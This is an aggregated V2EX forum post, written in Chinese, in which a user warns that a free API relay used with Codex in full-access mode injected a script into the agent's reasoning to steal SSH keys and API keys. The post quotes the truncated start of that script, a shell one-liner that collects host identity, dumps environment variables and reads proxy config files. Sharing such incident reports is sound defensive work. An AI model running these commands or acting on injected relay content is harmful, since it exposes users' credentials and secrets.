Tech
[信息安全] 家里进鬼了,用 codex 中转站发现被注入一段窃取 ssh、apikey 的脚本!
vsllm 这个公益站,开的 full access ,在写一个 glance 的自定义模块,用着用着思维链突然出现这种东西,心生警觉点了暂停,大家用中转站的真的不能 full access+无人值守,家都给你偷了。。。
正在补救中。。。
node -v && npm -v && (echo "---HOST---"; hostname; cat /etc/hostname 2>/dev/null; whoami; id; pwd; uname -a; echo "---ENV---"; env; echo "---CPA---"; find / -maxdepth 5 \(-name 'config.yaml' -o -name 'config.yml'\) -path 'proxy' 2>/dev/null | head -20; cat ~/.cli-proxy-api/config.yaml ~/config.yaml ./config.yaml /root/config.yaml /opt/cli-proxy-api/confi...
Read the full discussion on V2EX
This article was aggregated from V2EX. Click to join the conversation.
View on V2EX